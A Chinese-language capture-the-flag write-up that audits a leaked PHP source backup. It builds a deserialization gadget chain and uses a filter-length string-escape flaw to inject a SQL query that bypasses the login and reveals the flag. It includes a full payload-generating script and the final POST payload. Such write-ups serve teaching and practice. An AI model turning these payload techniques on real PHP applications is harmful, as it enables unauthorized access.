嘗試注入,發現沒啥效果。嘗試掃描后台
發現存在www.zip的網站備份,下載打開,進行php代碼審計
一共4個PHP文件,其中index.php有一個當前目錄的文件包含,因此可以繞過登入直接查看update.php
/index.php?action=update
但是會檢查session因此沒法看到flag
update.php
<?php require_once('lib.php'); echo '<html> <meta charset="utf-8"> <title>update</title> <h2>這是一個未完成的頁面,上線時建議刪除本頁面</h2> </html>'; if ($_SESSION['login']!=1){ echo "你還沒有登陸呢!"; } $users=new User(); $users->update(); if($_SESSION['login']===1){ require_once("flag.php"); echo $flag; } ?>
可以看到要session[login]=1 ,才能獲得flag,轉到lib.php
if ($this->token=='admin') { return $idResult; } if (!$idResult) { echo('用戶不存在!'); return false; } if (md5($this->password)!==$passwordResult) { echo('密碼錯誤!'); return false; } $_SESSION['token']=$this->name; return $idResult; }
從login函數分析可知,要想能成功返回(也就是登入成功),有兩種方法,一就是token=admin,二是滿足passwd的md5值等於數據庫中的存儲值
但是token是在方法二滿足后才賦值的,所以還是要用方法二
注意到login函數接收一個參數$sql,這個是執行的sql語句,默認是 “select id,password from user where username=?”,我們可以想辦法讓它等於 “select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?”
這樣sql返回的passwd就是1的MD5值,同時我們讓post的passwd等於1,不就滿足條件二嗎,而且條件二滿足后,就會讓session里的token=admin,再次登入就不會檢查密碼了。
下一步就是想辦法傳入這個參數並且執行login函數
觀察可得update頁面會調用user類的update()方法
...
$users=new User(); $users->update();
...
轉到user類的該方法
public function update(){ $Info=unserialize($this->getNewinfo());
...
}
發現調用getinfo方法,轉進
public function getNewInfo(){ $age=$_POST['age']; $nickname=$_POST['nickname']; return safe(serialize(new Info($age,$nickname))); }
分析可知這里接收兩個參數age和nickname,然后以這兩個為參數值構造一個info類,過濾后再進行序列化
轉到info類
class Info{ public $age; public $nickname; public $CtrlCase; public function __construct($age,$nickname){ $this->age=$age; $this->nickname=$nickname; } public function __call($name,$argument){ echo $this->CtrlCase->login($argument[0]); } }
可以發現__call函數,當調用info類中一個不存在的類時就會執行改魔術方法,執行輸出當前類中的ctrlcase的login函數,並且將參數傳遞進去
這樣我們就能夠調用login函數了,同時$sql參數也有我們指定
但是在哪調用info類中的不存在函數,這里主要看user類的一個tosring方法
public function __toString() { $this->nickname->update($this->age); return "0-0"; }
發現這里會調用nickname中的update函數,age作為參數,如果我們讓nickname為info類,age等於我們想執行的語句,不就行了嗎。
下一步時尋找在哪才能調用這個tostring方法,最后再UpdateHelper類中
Class UpdateHelper{ public $id; public $newinfo; public $sql; public function __construct($newInfo,$sql){ $newInfo=unserialize($newInfo); $upDate=new dbCtrl(); } public function __destruct() { echo $this->$sql; } }
這里可以看到echo了當前類中的$sql變量,我們讓$sql等於user類即可
這里給出反序列構造方法:
<?php
class dbCtrl
{
public $name="admin";
public $password="1";
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
}
class User
{
public $age="select 1,\"c4ca4238a0b923820dcc509a6f75849b\" from user where username=?";
public $nickname;
}
Class UpdateHelper{
public $sql;
}
$db=new dbCtrl();
$in=new Info();
$in->CtrlCase=$db;
$user=new User();
$user->nickname=$in;
$update=new UpdateHelper();
$update->sql=$user;
echo serialize($update);
但是如何傳入這個序列化數據進行反序列化呢?由上面分析可知,源代碼中會反序列化一個info類,但是那個info類我們只能傳入兩個參數,然后它兩個參數來構造類並且反序列化。這里其實可以繞過,方法是利用反序列化字符串字符逃逸漏洞
我們讓info三個參數(除了傳入的兩個參數,還有一個ctrlcase參數),其中一個為我們想要的序列化類即可(類中類也會一起序列化,反序列化會一起反序列化)。這里用字符逃逸漏洞,
注意
function safe($parm){ $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter"); return str_replace($array,'hacker',$parm); }
可以看到有字符替換,且長度不同,也就意味着字符逃逸,這里不詳細說明了
給出最終腳本
<?php class dbCtrl { public $name="admin"; public $password="1"; } class Info{ public $age; public $nickname; public $CtrlCase; } class User { public $age="select 1,\"c4ca4238a0b923820dcc509a6f75849b\" from user where username=?"; public $nickname; } Class UpdateHelper{ public $sql; } $db=new dbCtrl(); $in=new Info(); $in->CtrlCase=$db; $user=new User(); $user->nickname=$in; $update=new UpdateHelper(); $update->sql=$user; function safe($parm){ $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter"); return str_replace($array,'hacker',$parm); } $k=new Info(); $k->age=18; $m=str_repeat("into",146); $k->nickname=$m."\";s:8:\"CtrlCase\";".serialize($update).'}'; echo($k->nickname); ?>
payload:
age=18&nickname=intointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointo";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}
稍微解釋下,
";s:8:"CtrlCase";serialize($update)}
雙引號和前面提前閉合(長度替換后),后面加上ctrlcase參數,並且內容是我們想反序列化的類,最后加上一個}來提前結尾
最后再用admin 隨便啥密碼登入一下